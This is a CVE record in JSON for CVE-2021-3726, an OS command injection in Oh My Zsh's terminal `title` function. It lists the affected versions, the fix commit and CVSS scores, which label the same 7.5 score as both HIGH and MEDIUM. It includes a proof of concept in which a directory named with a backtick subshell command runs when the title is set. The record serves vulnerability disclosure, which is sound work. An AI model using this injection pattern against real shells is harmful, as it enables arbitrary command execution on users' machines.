CVE-2021-3726

{"containers": {"cna": {"affected": [{"product": "ohmyzsh/ohmyzsh", "vendor": "ohmyzsh", "versions": [{"lessThan": "a263cdac", "status": "affected", "version": "unspecified", "versionType": "custom"}]}], "descriptions": [{"lang": "en", "value": "# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."}], "exploits": [{"lang": "en", "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n For example:\n\n ```sh\n function dirpath_in_title {\n title \"$PWD\"\n }\n add-zsh-hook precmd dirpath_in_title\n ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n ```sh\n baddir='`echo pwned && id`'\n mkdir \"$baddir\" && cd \"$baddir\"\n ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n "}], "metrics": [{"cvssV3_1": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}}], "problemTypes": [{"descriptions": [{"cweId": "CWE-78", "description": "CWE-78 OS Command Injection", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"dateUpdated": "2021-11-30T09:30:15.000Z", "orgId": "c09c270a-b464-47c1-9133-acb35b22c19a", "shortName": "@huntrdev"}, "references": [{"tags": ["x_refsource_MISC"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"}], "title": "OS Command Injection in ohmyzsh/ohmyzsh", "x_legacyV4Record": {"CVE_data_meta": {"ASSIGNER": "security@huntr.dev", "ID": "CVE-2021-3726", "STATE": "PUBLIC", "TITLE": "OS Command Injection in ohmyzsh/ohmyzsh"}, "affects": {"vendor": {"vendor_data": [{"product": {"product_data": [{"product_name": "ohmyzsh/ohmyzsh", "version": {"version_data": [{"version_affected": "<", "version_value": "a263cdac"}]}}]}, "vendor_name": "ohmyzsh"}]}}, "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": {"description_data": [{"lang": "eng", "value": "# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."}]}, "exploit": [{"lang": "en", "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n For example:\n\n ```sh\n function dirpath_in_title {\n title \"$PWD\"\n }\n add-zsh-hook precmd dirpath_in_title\n ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n ```sh\n baddir='`echo pwned && id`'\n mkdir \"$baddir\" && cd \"$baddir\"\n ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n "}], "impact": {"cvss": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}}, "problemtype": {"problemtype_data": [{"description": [{"lang": "eng", "value": "CWE-78 OS Command Injection"}]}]}, "references": {"reference_data": [{"name": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac", "refsource": "MISC", "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"}]}}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-03T17:01:08.345Z"}, "title": "CVE Program Container", "references": [{"tags": ["x_refsource_MISC", "x_transferred"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"}]}]}, "cveMetadata": {"assignerOrgId": "c09c270a-b464-47c1-9133-acb35b22c19a", "assignerShortName": "@huntrdev", "cveId": "CVE-2021-3726", "datePublished": "2021-11-30T09:30:15.000Z", "dateReserved": "2021-08-19T00:00:00.000Z", "dateUpdated": "2024-08-03T17:01:08.345Z", "state": "PUBLISHED"}, "dataType": "CVE_RECORD", "dataVersion": "5.1"}

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{"affected": [{"affectedData": [{"product": "ohmyzsh/ohmyzsh", "vendor": "ohmyzsh", "versions": [{"lessThan": "a263cdac", "status": "affected", "version": "unspecified", "versionType": "custom"}]}], "source": "security@huntr.dev"}], "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:planetargon:oh_my_zsh:*:*:*:*:*:*:*:*", "matchCriteriaId": "80FD5E81-3E73-4921-925C-E55098EAE4B1", "versionEndExcluding": "2021-11-11", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."}, {"lang": "es", "value": "# Vulnerabilidad en la funci\u00f3n \"title\" **Descripci\u00f3n**: la funci\u00f3n \"title\" definida en \"lib/termsupport.zsh\" usa \"print\" para establecer el t\u00edtulo de la terminal a una cadena proporcionada por el usuario. En Oh My Zsh, esta funci\u00f3n es siempre usada de forma segura, pero el c\u00f3digo de usuario personalizado podr\u00eda usar la funci\u00f3n \"title\" de forma no segura. **Corregido en**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **\u00c1reas afectadas**: - Funci\u00f3n \"title\" en \"lib/termsupport.zsh\". - C\u00f3digo de usuario personalizado usando la funci\u00f3n \"title\""}], "id": "CVE-2021-3726", "lastModified": "2026-06-17T04:05:38.770", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.6, "impactScore": 5.9, "source": "security@huntr.dev", "type": "Secondary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2021-11-30T10:15:08.883", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"}], "sourceIdentifier": "security@huntr.dev", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-78"}], "source": "security@huntr.dev", "type": "Secondary"}]}

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